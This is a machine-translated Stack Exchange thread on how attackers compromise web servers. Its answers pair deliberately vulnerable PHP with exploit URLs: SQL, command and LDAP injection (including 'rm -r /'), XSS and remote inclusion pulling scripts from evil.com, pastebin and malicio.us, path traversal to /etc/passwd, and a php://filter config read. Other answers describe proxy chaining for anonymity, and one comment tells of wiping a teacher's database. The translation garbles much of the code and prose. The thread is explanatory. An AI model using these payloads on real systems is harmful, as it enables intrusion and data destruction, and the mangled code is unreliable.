題:
駭客如何運作?
user7360
2012-02-01 00:31:44 UTC
view on stackexchange narkive permalink

我專門談論運行Unix的Web服務器。我一直對黑客如何獲得切入點感到好奇。我的意思是,當他們進入服務器的唯一輸入方法是URL時,我看不到黑客如何入侵該網頁。我一定會錯過一些東西,因為我看不到黑客如何僅通過更改URL就可以訪問服務器。

所謂入口點是指訪問點。黑客進入服務器的方式。

我能否舉一個黑客如何進入Web服務器的入口示例?任何C語言語言是可以接受的。我絕對沒有黑客經驗

一個簡單的例子將不勝感激。

我認為您需要在該網站上進行一些基本信息搜索。谷歌搜索也可能會有所幫助。搜索“利用”“ OWASP”“端口掃描”
您猜密碼了。
我看過很多電影,所以我明白了這部電影,只需使用hack.exe,無論您以為hack.exe都能做到。相同的hack.exe可以執行多個任務(也沒有任何輸入參數)。
我在CSI上看到了這一點。您使用Visual Basic來製作GUI用戶界面。
@skynorth-或者更常見的是通過鍵盤記錄器竊取密碼;密碼重用(以及惡意網站累積密碼/嘗試使用密碼); firesheep / wireshark;或密碼重置機制損壞。
我忍不住要發布有關黑客的“教程” ... http://www.youtube.com/watch?v = u8qgehH3kEQ
對於許多攻擊,主要重點是使其成為管理員或忘記開發人員的登錄信息。一旦到達那裡,攻擊者便可以使用該系統。
除了是列表類型的問題(通常不適合SE網站使用)之外,這是一個荒謬的公開問題。這個網站的一半是對它的答案,甚至顯然還不完整。下面的答案是很好的例子,但並不是很完整。
七 答案:
Chris Dale
2012-02-01 02:49:37 UTC
view on stackexchange narkive permalink

僅通過更改URL即可實現的行為

  • 一個合法的例子和一個惡意示例
  • 某些示例要求使用URL編碼才能正常工作(通常由瀏覽器自動完成)

SQL注入

代碼:

  $ username = $ _POST [ 'username']; $ pw = $ _GET ['password']; mysql_query(“ SELECT * FROM userTable WHERE username = $ username AND password = $ pw”);  

漏洞利用(在不知道密碼的情況下以管理員身份登錄):

  example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGetexample.com/?username=Administrator&password=password'或1 = 1- - 

跨站點腳本(XSS)

代碼:

  $ nickname = $ _GET ['暱稱'];回顯“ <div>您的暱稱是$ nickname< / div> \ n”;  

利用(註冊商以 BeEF中的殭屍):

example.com/?nickname=Karraxexample.com/?nickname=<script src =“ evil.com/beefmagic.js.php” / >  

遠程執行代碼

代碼(以泰勒為例):

  <? include($ _ GET [“ module”]。“。php”); ?>  

利用(下載並運行任意代碼):

  example.com/?module=frontpageexample.com/ ?module = pastebin.com / mymaliciousscript  

命令注入

代碼:

  <?phpecho shell_exec('cat'。$ _ GET ['filename']);? >  

利用(嘗試從根目錄中刪除所有文件):

  example.com/?filename=readme.txtexample.com/?filename=readme.txt;rm -r /  

代碼注入

代碼:

  <?php $ myvar =“ varname”; $ x = $ _GET ['arg']; eval (“ \ $ myvar = \ $ x;”);? >  

利用漏洞(注入phpinfo()命令,該命令在屏幕上顯示非常有用的攻擊信息):

  example.com/?arg=1example.com/?arg = 1; phpinfo() 

LDAP注入

代碼:

  <?php $ username = $ _GET ['username']; $ password = $ _GET ['password']; ldap_query(“((&(cn = $ username)(password = $ password)”)?>  

利用漏洞(登錄時不知道管理員密碼):

  example.com/?username=admin&password=adminadminexample.com/?username=admin&password = *  

路徑遍歷

代碼:

  <?phpinclude(“ ./” 。$ _GET ['page']);? >  

利用(獲取/ etc / passwd):

 示例.com /?page = front.phpexample.com /?page = .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd  

重定向/轉發攻擊

代碼:

  <?php $ redirectUrl = $ _GET ['url'] ; header(“ Location:$ redirectUrl”);?>  

利用(將用戶從您的頁面發送到邪惡p年齡):

  example.com/?url=example.com/faq.phpexample.com/?url=evil.com/sploitCode.php  

無法限制URL訪問

代碼:

 不適用。缺少.htaccess ACL或類似的訪問控制。允許用戶猜測或通過其他方式發現只能在登錄時訪問的內容的位置。 

利用:

  example.com/users/showUser.phpexample.com/admins/editUser.php  

跨站點請求偽造

代碼:

 不適用。代碼缺少頁面對頁面的機密,無法驗證來自當前站點的請求。實現在頁面之間傳輸和驗證的機密。  

利用:

 法律:example.com/app/transferFunds?amount = 1500&destinationAccount = 4673243243在邪惡頁面上:<img src =“ http://example.com/app/transferFunds?amount=1500destinationAccount=evilAccount#” width =“ 0“ height =” 0“ / >  

緩衝區溢出(技術上是通過訪問URL,但使用metasploit實現的

code:

 不適用。網絡服務器代碼本身存在漏洞。標準緩衝區溢出 

漏洞利用(Metasploit + meterpreter?):

  http ://www.exploit-db.com/exploits/16798/  
極好的答案,您是否考慮過將其發佈為Wiki帖子,以便其他人可以添加其他詳細信息,等等:)
遺憾的是,大多數學校都沒有在任何編程課程中都包含此內容。我必須自己動手做這件事,並經常幫助同學們保護自己的一面(並且不得不破解一個教師網站來證明我的觀點)
@s4uadmin我希望您與您的老師建立良好的關係,“證明觀點”通常不能證明黑客入侵他人的網站是合理的。
我不明白,所有這些技術都依賴於服務器不驗證輸入。服務器驗證輸入後,這些方法將不再起作用。
@Pacerier的大多數漏洞都是由某人在某個地方搞砸造成的。只需要一個監督就可以使攻擊者進入原本安全的站點。
@John Isaacks,好吧,我仍然是他的好朋友。他說繼續,我問他是否準備好備份,當他說是的時候我做了一些攻擊。最終刪除了他的整個數據庫,並刪除了他擁有的大多數文件。他不知道有什麼可能,因為搜索字段很小,而且他的網站加載頁面的基本方式也是如此。
@DanNeely很容易就搞砸了。基本上所有這些東西都包裝在單個函數`F(user-input)`中,現在它是100%安全的。例如,SQL注入實際上在* real *網站中不再存在。防止它們是如此“容易”。
@Pacerier驗證輸入要求程序員這樣做。應當指出,“輸入驗證”是OWASP Top 10一半的根本原因
@ScottPack是的,但是通常已經有一些函數將所有必需的輸入驗證算法包裝在一個IsValid(“ user-input”)中。
我謹不同意您的論點。開發人員需要記住包裝每個用戶輸入的內容,如果他們不習慣這樣做的話,這是不平凡的。 http://www.darkreading.com/database-security/167901020/security/attacks-breaches/232301285/latest-sql-injection-campaign-infects-1-million-web-pages.html
@Pacerier應該很容易;但是未經驗證的用戶輸入仍然是成功利用渠道的最主要事實,這意味著仍然有大量自稱為Web開發人員的人無法正確使用它。
@Pacerier:問題通常不是技術性的,事實已經證明,某些語言已經提供了驗證子例程。問題在於,開發人員未使用它們(或未正確使用它們),這使它變成了教育和/或開發/測試/業務流程問題。
我不明白example.com/?url=evil.com/sploitCode.php的作用
@LouisRhys,這是一種重定向攻擊,它將用戶重定向到攻擊“ sploitCode.php”,我的意思是exploitCode.php。從網上誘騙站點到瀏覽器利用,到您想要的任何東西都可以。只要用戶在您的站點上,您就可以控制很多!
GET表單提交方法有很多漏洞。 `include($ _ GET ['anything']))**是認真的嗎?**是誰?
@JYelton您會非常非常驚訝(和失望)。如果有人擁有“菜單”系統,它總是在較小的PHP網站上發生(很多指南都教這種方法!)。
@Pacerier您會認為這很容易,並且不會發生,而且您會錯。由於通過一次SQL注入創建的灘頭堡,HBGary Federal被完全摧毀,這與大多數其他匿名用戶一樣。學校不教授SQL注入或緩衝區溢出等危險。輸入驗證充其量是事後的想法。那麼,什麼是“有效的”?如果我有一個網絡論壇,則必須針對SQL注入和嵌入式HTML(通常是同一功能)進行驗證。坦白地說,SQL注入仍然發生的事實令人恐懼!
@Kitsune我不相信經驗豐富的開發人員會接受用戶輸入而不是“清理”它。如今,SQL不適用於“實際”站點,而適用於學習者“為娛樂而建”的站點
@Pacerier那麼Sony Picture的網站不是“真實”的網站嗎?如果您四處搜索(或跟踪各種站點),您會發現即使對於大型網站,SQL注入攻擊仍然很常見。 * SQL注入*的真正解決方案不是始終使用“ isValid”函數,而是使用準備好的語句(不會破壞您的數據或不必要地限制合法內容)。問題是嘗試在SQL中混合代碼和數據,而不是數據本身。您仍然需要根據輸入的其他內容對輸入進行清理,但這取決於您需要處理的內容,而不是SQL。
攻擊者如何在不首先了解代碼的情況下就知道如何使用這些方法。例如對於SQL注入,他們如何知道要輸入什麼來完成現有代碼,然後添加自己的代碼?
@Jonathan。根據經驗,您可以學習思考開發人員如何對應用程序進行編程。在某些情況下,它很可能以某種方式編寫。同樣,在某些情況下,錯誤消息也可能過於暴露,給攻擊者留下了線索。老實說,這就是使滲透測試最有趣的原因!感覺到您在其設計和代碼中“擊敗”了開發人員。
第一個示例中的PHP代碼放在哪裡?網絡表格?
如果您是一位技術嫻熟的用戶,並且正在考慮使用IT安全性,那麼我強烈建議您訪問hackthissite.org網站。它提供了一些安全的網站示例,它們很容易受到這類攻擊的影響,並演示瞭如果您希望動手觀看它們的運行方式,它們將如何正常運行。
我知道討論已經進行了幾個月,但是@Pacerier我敢肯定,互聯網上的大部分內容都是*不是*由經驗豐富的開發人員編寫的。這就是為什麼sql注入仍然是現實的原因,如果您知道自己在做什麼,就很簡單了,但是有很多人卻不這樣做。
例如,如果您在任意給定時間訪問Stack Exchange上PHP標籤問題的提要,這是很真實的,那麼第一頁上大約40%到50%的新問題將*包含php + mysql容易受到sql注入的攻擊-在中小型企業中也很少見到這種代碼(當然,直到破解為止)
(這也是PHP在經驗豐富的開發人員中如此糟糕的代表的原因之一)
@kitsune,是的,您可以認為那不是*真實*網站。顯然他們沒有花足夠的時間在自己的網站上,http://www.sonypictures.com甚至現在都無法訪問
@Pacerier,該網站現在對我來說是正常的。因此,您要說的是,對於任何“真實”站點而言,SQL注入都不是問題,其中“真實”定義為不容易受到SQL注入攻擊的任何站點?那是直截了當的“沒有真正的蘇格蘭人”謬論!如果這不是定義,那麼如何為您的“真實”網站提供定義?我很確定您提供的任何定義都將排除Internet上幾乎每個站點。
@Kitsune, *真實*站點是*大型* IT公司擁有的站點,例如谷歌,微軟。
如果對Google進行了SQL注入攻擊,那麼您可以通過@Kitsune,贏得爭論。當然,我不是在談論過去的日子,而是在談論“這些日子”。
-1
tylerl
2012-02-01 01:35:44 UTC
view on stackexchange narkive permalink

(當前)最常見的方式是通過PHP應用程序中的漏洞。可以通過多種方法來實現此目的,但這是一種簡單易用的方法:

想像一下,毫無戒心的網站所有者決定在其代碼中使用快捷方式,例如 http:// example。 com / site.php?module = xyz 實際上首先加載一些模板shell,然後運行“ xyz.php”以填充內容。所以也許他寫這樣的東西:

  <h1>我的真棒CMS< / h1><? include($ _ GET [“ module”]。“。php”); ?><p>看看我在那裡做什麼?哇,那太聰明了。</ p>  

然後,黑客使用以下URL訪問該網站:
http://example.com/site.php?module= http://malicio.us/evilprogram

現在,PHP不再加載本地腳本,而是下載並下載了 http://malicio.us/evilprogram.php 並執行它-運行攻擊者想要的任何PHP代碼。也許發送垃圾郵件,也許安裝後門外殼,也許在配置文件中搜索密碼。

字面上有數以千計的黑客入侵站點的方法,每種方法都非常新穎。幾乎在所有情況下,他們都涉及一個程序員,他們沒有考慮過程序的所有可能輸入以及他們可能產生的意外影響。

您擊敗了我(特別是“有成千上萬的方式”),因此您獲得了+1,但我想補充一點,這裡還有另一個示例:http://www.greensql.com/articles/backdoor- Web服務器使用MySQL的SQL注入
+1可以說明為什麼有人會使用瘋狂的include($ _ GET ['anything'])
@JYelton:我已經在客戶編寫的代碼中多次看到了這一點。當有人與“所以我們開發了自己的CMS ...”開始對話時,我有些畏縮。
schroeder
2012-02-01 01:57:32 UTC
view on stackexchange narkive permalink

有兩種查看方式,您可以專注於服務器本身,也可以專注於服務器正在運行的Web應用程序。

作為服務器,它可以具有開放端口來運行服務您可以連接到服務器並獲得對服務器的訪問權限。通過使用已知漏洞,您可以獲取root用戶訪問權限。例如,某些用於Unix的FTP服務器具有可由 Metasploit之類的工具利用以獲取根shell的漏洞。

作為應用程序,存在太多的利用方法。編寫或配置不當的應用程序。例如,如果將SQL查詢作為GET傳遞,則實際上可以操縱URL本身以執行 SQL注入攻擊和 dump整個數據庫。例如(取決於站點的編碼): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT用戶名,密碼(來自用戶)

同樣,您涉及到一個廣泛的主題,希望這些可以幫助您集中精力進行下一步。

我同意有兩個訪問點;服務器中的弱應用程序或漏洞。但是對於最新的服務器(例如,僅運行apache2來顯示具有所有安全路徑的穩定ubuntu發行版中的靜態html頁面和sshd)具有強密碼短語的可能性極低,除非被ddos所重載,網站;或從鍵盤記錄的計算機登錄的人),尤其是在採取預防措施的情況下。對於成熟的軟件,零日漏洞雖然確實存在(特別是在前沿軟件中),但在野外卻很少見。
OP正在尋找獲得服務器訪問權限的方法。針對服務器本身及其運行的服務是一種可行的方法。我同意應該配置Web服務器以限制這種攻擊面,但是這取決於人們,而且人們容易出錯。例如,我能夠在我們網絡上的全新Pitney Bowes郵件機中立足,因為他們沒有更新OS服務的過程。它是一種成熟的,無出血的邊緣軟件,每個人都可以購買到。
Zenexer
2012-02-04 05:31:02 UTC
view on stackexchange narkive permalink

簡短答案

這可能不是正確的問題。

黑客...

...是一名社交工程師。

他們對人與人的互動比與計算機的互動更感興趣。

...正在尋求知識...

...並且知道該知識是功率。黑客對獲取信用卡號碼的興趣比對他實際使用的興趣更大。

...以道德為藉口。

...不是原因。這就是為什麼許多黑客會利用以道德為導向的政治事件進行公開的原因。他們知道他們可以用道德來為公眾的行為辯解。

...除非他願意,否則就不會被抓住。

大多數時候。只是在不考慮隱身或匿名的情況下直接跳進去的Wannabe黑客在黑客社區中被稱為“腳本小子”或“滑子”。很有可能比黑客更多,而且很可能是最大的麻煩。

...不需要任何特殊工具或後門程序。

前端您提供的可能就足夠了。

詳細答案

您可以保護自己免受Metasploit中的攻擊。黑客會徑直走進前門-即使不是真的,也只是字面上的意思。

您想要的答案

看到人們如何不喜歡我的答案給予,就足夠了,我會根據您想要的內容再給您一些東西。

駭客喜歡保持匿名。任何攻擊的第一步都是將一系列代理(例如SOCKS代理,殭屍或只是構成殭屍網絡的簡單殭屍)串聯在一起。有幾種解決方法,但是為了討論起見,我們讓一些死的代理。轉到 pastebin.com並蒐索 8080 。這是Web代理的常見端口。向下滾動結果,直到找到IP地址列表,然後單擊以查看結果。您應該擁有一長串的Web代理。我可以保證,即使不是全部,大多數也會死。抱歉,這不是黑客教程。

下一步是收集有關目標的看似瑣碎的信息。黑客使用他的代理運行portcans,然後探查他發現的任何服務。有網站嗎?讓我們來探索它。有一個MySQL服務器?讓我們看看它是什麼版本。運行SSH?讓我們看看它是否接受文本密碼或僅限於證書。

然後,黑客坐下來,查看他所收集的內容,並確定係統的最弱點。根據系統的大小,他可能會回頭再進行更多的探查,如果有更多的探查,並且他覺得自己還沒有獲得足夠好的弱點。弱點不必一定是真正的安全“漏洞”:它必須是最弱的環節。也許您的FTP服務器無法防止重擊(重複登錄嘗試)。也許您的Web服務器上有一堆表格或可能被利用的URL。這些值得進一步研究。

如果有必要,攻擊者可能會編寫腳本或程序來執行最終攻擊,儘管並非總是如此。大多數弱點都可以利用現有工具加以利用,因此對於現代黑客而言,這通常是不必要的。但是,有時黑客會在軟件中發現新的安全漏洞,在這種情況下,他們有時需要編寫特殊的工具來利用該軟件。

一個顯而易見的攻擊程序的一個很好的例子是,該程序用於在名為Terraria的遊戲上導致服務器故障。這不是其最初的目的,但是由於它確實暴露了服務器軟件中的各種漏洞,因此它確實傾向於被其他人使用。我用C#編寫的。源代碼可在 GitHub上獲得。該漏洞利用字節碼操作來修改現有客戶端以發送惡意數據。服務器不希望該數據,並且會以其無法正常工作的方式做出反應。發現這樣的漏洞利用程序可以像對目標軟件進行反向工程一樣簡單-我之所以說很簡單,是因為對於現代反射語言(例如C#和Java)來說,這已變得越來越容易。諸如.NET Reflector(收費)和dotPeek(暫時免費)之類的程序,只需單擊一下按鈕,便可以實現。然後,受過充分訓練的C#程序員可以觀察代碼,確定其功能,並編寫程序來更改此功能。

我不認為這可以回答所提出的問題。是否是“正確的”問題是另一回事,但是如果您要回答,我相信您應該嘗試[回答問題](http://security.stackexchange.com/questions/how-to-answer)被問到。
好吧,最後我確實回答了這個問題。我只是導致了它。我想給我的答案一些背景。
您確實回答了,但沒有回答。據我所知,問題主要是關於侵入服務器並尋找具體示例(例如,“我專門談論運行Unix的Web服務器”)。
@YoavAner好,我想提供上下文,以便我可以解釋為什麼不提供示例。我沒有提供示例的原因是我的答案並不能真正保證一個答案。當我給黑客拍照時,我看到有人剛走進建築物,經過安全檢查,就進入服務器機房,然後坐在控制台上。
我添加了每個人都想要的答案。希望這樣就足夠了。
user5575
2012-02-01 07:31:10 UTC
view on stackexchange narkive permalink

我的一個朋友簽訂了一份在現場工作的合同。在他這樣做的同時,他發現黑客進入了網站並做了他不喜歡的事情。在查看了一些日誌文件後,他注意到“黑客”通過谷歌搜索mysql錯誤找到了該站點。

當您能夠注入sql時,您可以做任何想做的事情,例如創建一個帳戶。如果可以上傳文件(尤其是php),則可以執行它。如果可以執行,即使您在linux / windows服務器上沒有帳戶,也可能造成更大的破壞,例如在服務器文件系統上讀取/寫入文件。

另一種技術正在侵入數據庫,著眼於密碼(特別是如果不進行散列),而不是嘗試建立到該站點相同ip地址的ssh或ftp連接並嘗試使用用戶名/密碼組合。

此外,您也無需闖入服務器被黑客入侵。我遇到的一個人告訴我一個故事,他的服務器上如何安裝過時的軟件。攻擊者使用它上載並執行自己的PHP文件,該文件向每個index.php和index.html文件中註入了一行代碼(以添加iframe)。基本上沒有人能夠訪問該站點。它要么重定向,要么彈出很多對話框。

使用具有已知漏洞的舊軟件仍在“闖入系統”,與他們可以做的相比,您描述的是溫和的。
jl01
2012-02-01 21:27:39 UTC
view on stackexchange narkive permalink

我們有多少次沒有密碼或“ Joes”的登錄信息?不需要Metasploit知識或任何真正具有異國情調的知識就可以進入前門。有點像在寒冷的早晨坐在車道上的行駛中的汽車“請偷走我”。

Taipo
2012-02-03 12:53:15 UTC
view on stackexchange narkive permalink

還有幾個示例供您考慮。

下面是tylerl的示例:

  <?php if(isset($ _GET ['id'] ))include($ _GET ['id']。“ .php”);? >  

攻擊向量:

  http:// victimsite。 com /?id = php://filter/read=convert.base64-encode/resource=includes/configure  

由於缺乏任何安全編碼,這是一個包含base64攻擊的本地文件,攻擊者幾乎可以讀取站點或服務器上所有以[.php]結尾的文件,在這種情況下,讀取configure.php文件的文件內容,PHP返回整個文件內容的base64_encode,可以輕鬆地對其進行解碼回到可讀文本。

格式錯誤的URL不必尋求輸入安全性驗證漏洞。

在許多網站上,$ PHP_SELF代碼會誤報文件名yoursite.com /admin/administrators.php,$PHP_SELF將文件名報告為administrators.php,但是如果將login.php附加為admin / adm inistrators.php / login.php,然後$ PHP_SELF誤將login.php作為文件名而不是administrators.php。

例如,如果在這個令人振奮的示例中詢問了管理會話驗證問題:

*如果(不是有效的管理會話)和($ PHP_SELF不是= to login.php)然後重定向到login.php *

該頁面永遠不會重定向到登錄名.php,因為$ PHP_SELF錯誤地報告了真實的文件名,因此,攻擊者無需使用正確的憑據即可訪問administrators.php文件。



該問答將自動從英語翻譯而來。原始內容可在stackexchange上找到,我們感謝它分發的cc by-sa 3.0許可。
Loading...